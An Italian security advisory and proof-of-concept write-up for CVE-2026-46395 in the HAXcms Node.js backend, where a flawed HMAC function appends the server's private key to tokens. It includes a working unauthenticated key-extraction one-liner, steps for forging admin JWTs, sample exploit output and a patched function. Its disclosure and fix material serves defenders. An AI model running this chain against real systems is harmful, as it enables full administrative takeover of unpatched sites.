
PoC e writeup per CVE-2026-46395: divulgazione di chiave privata senza autenticazione tramite HMAC difettoso in HAXcms Node.js (CWE-321/CWE-200). Solo ricerca di sicurezza autorizzata.
Proof-of-concept solo per test di sicurezza autorizzati e ricerca. La vulnerabilità qui descritta è corretta nell'ultima release di HAXcms. Questo PoC è pubblicato affinché difensori e ricercatori possano verificare il problema su istanze non aggiornate di loro proprietà o esplicitamente autorizzate al test.
| CVE | CVE-2026-46395 |
| Componente | Backend HAXcms Node.js - haxcms-nodejs/src/lib/HAXCMS.js |
| Vulnerabilità | Chiave crittografica hard-coded + divulgazione della chiave privata (CWE-321, CWE-200) |
| Gravità | Critica - CVSS 3.1 9.8 |
| Attacco | Non autenticato, singola richiesta HTTP, nessuna interazione con l'utente |
| Stato | Corretta a monte. Colpisce le release precedenti alla patch. |
| Progetto | elmsln/HAXcms |
| Segnalatore | Shreyas Challa ([email protected]) |
hmacBase64() nel backend Node.js di HAXcms (src/lib/HAXCMS.js:2158-2163)
contiene due errori crittografici che insieme permettono a qualsiasi attaccante
non autenticato di recuperare il segreto di firma master del server (privateKey + salt) e
di forgiare JWT a livello admin.
// HAXCMS.js:2158-2163 - VULNERABILE
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // BUG 1: chiave hard-coded a "0"
var buf2 = Buffer.from(key); // BUG 2: la vera chiave...
return Buffer.concat([buf1, buf2]).toString('base64') // ...viene aggiunta all'output
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
"0" viene usata come chiave di firma
al posto di key, quindi l'HMAC non fornisce alcuna riservatezza.key (ovvero
privateKey + salt del sistema) viene concatenata al digest e codificata in base64 nel
token restituito.Ogni token ha quindi la seguente struttura:
base64url( [32 byte: HMAC-SHA256 con chiave "0"] [N byte: privateKey+salt IN CHIARO] )
Un attaccante decodifica in base64 qualsiasi token, scarta i primi 32 byte e legge la
chiave privata direttamente. L'endpoint /system/api/connectionSettings è nella lista di esclusione JWT
(src/app.js) e restituisce diversi di questi token senza
autenticazione, quindi una singola richiesta GET espone la chiave.
Il backend PHP (
HAXCMS.php:1619-1631) implementa questa funzione correttamente (firmata con la chiave reale, restituisce solo il digest → token da 44 caratteri). La versione Node.js difettosa genera token da 139+ caratteri - un chiaro segnale che sono incorporati dati extra.
Una singola richiesta non autenticata porta alla compromissione totale:
GET /system/api/connectionSettings, decodificare in base64 un qualsiasi token, scartare i primi 32 byte.jwt.sign(payload, privateKey+salt).user_token, form_token, ecc.Funziona anche dopo che l'amministratore imposta una password robusta, e i token forgiati non generano alcun evento di login nei log.
poc_hmac_key_leak.js esegue l'intera catena end-to-end contro un'istanza
in esecuzione e stampa ogni passaggio in modo dettagliato: recupero token → estrazione chiave → verifica chiave
→ forgiatura JWT → forgiatura token di richiesta → chiamata a un endpoint autenticato → creazione di un
sito per dimostrare l'accesso in scrittura.
Prepara un'istanza di test locale:
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # serve su http://localhost:3000
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # installa jsonwebtoken (usato per la forgiatura JWT)
node poc_hmac_key_leak.js http://localhost:3000
Se jsonwebtoken non è installato, il PoC estrae e verifica comunque la chiave,
semplicemente saltando i passaggi di forgiatura JWT.
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('Chiave divulgata:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
STEP 1: Recupero di /system/api/connectionSettings (SENZA AUTENTICAZIONE)
lunghezza token: 139 caratteri (un token HMAC corretto è ~44)
STEP 2: Estrazione della chiave privata dal token
Byte 32+ (privateKey + salt IN CHIARO):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
RISULTATO: chiave privata estratta con successo!
STEP 3: CORRISPONDENZA - la chiave estratta è corretta.
STEP 4: JWT forgiato (utente=admin) ...
STEP 7: SITO CREATO CON SUCCESSO - accesso admin completo confermato.
Sostituisci la funzione difettosa con un HMAC con chiave corretta che restituisce solo il digest:
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // usa la chiave reale
.update(data)
.digest('base64') // restituisci SOLO l'hash
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
Dopo la patch:
privateKey e salt su ogni istanza distribuita - qualsiasi token
emesso in precedenza contiene la vecchia chiave in chiaro (nelle risposte HTTP, nei log e nella
cronologia del browser).Aggiorna all'ultima release di HAXcms, che contiene la correzione a monte.
Questo problema è stato segnalato ai manutentori di HAXcms e corretto prima della pubblicazione. Il PoC è rilasciato solo dopo che una patch era disponibile. Usalo esclusivamente contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.
Questo materiale è fornito per ricerca difensiva, istruzione e test di sicurezza
autorizzati. Eseguirlo contro sistemi senza permesso esplicito può essere
illegale. Sei l'unico responsabile del rispetto di tutte le leggi applicabili
e dell'ottenimento dell'autorizzazione prima di testare. Fornito "così com'è" senza
alcuna garanzia (vedi LICENSE).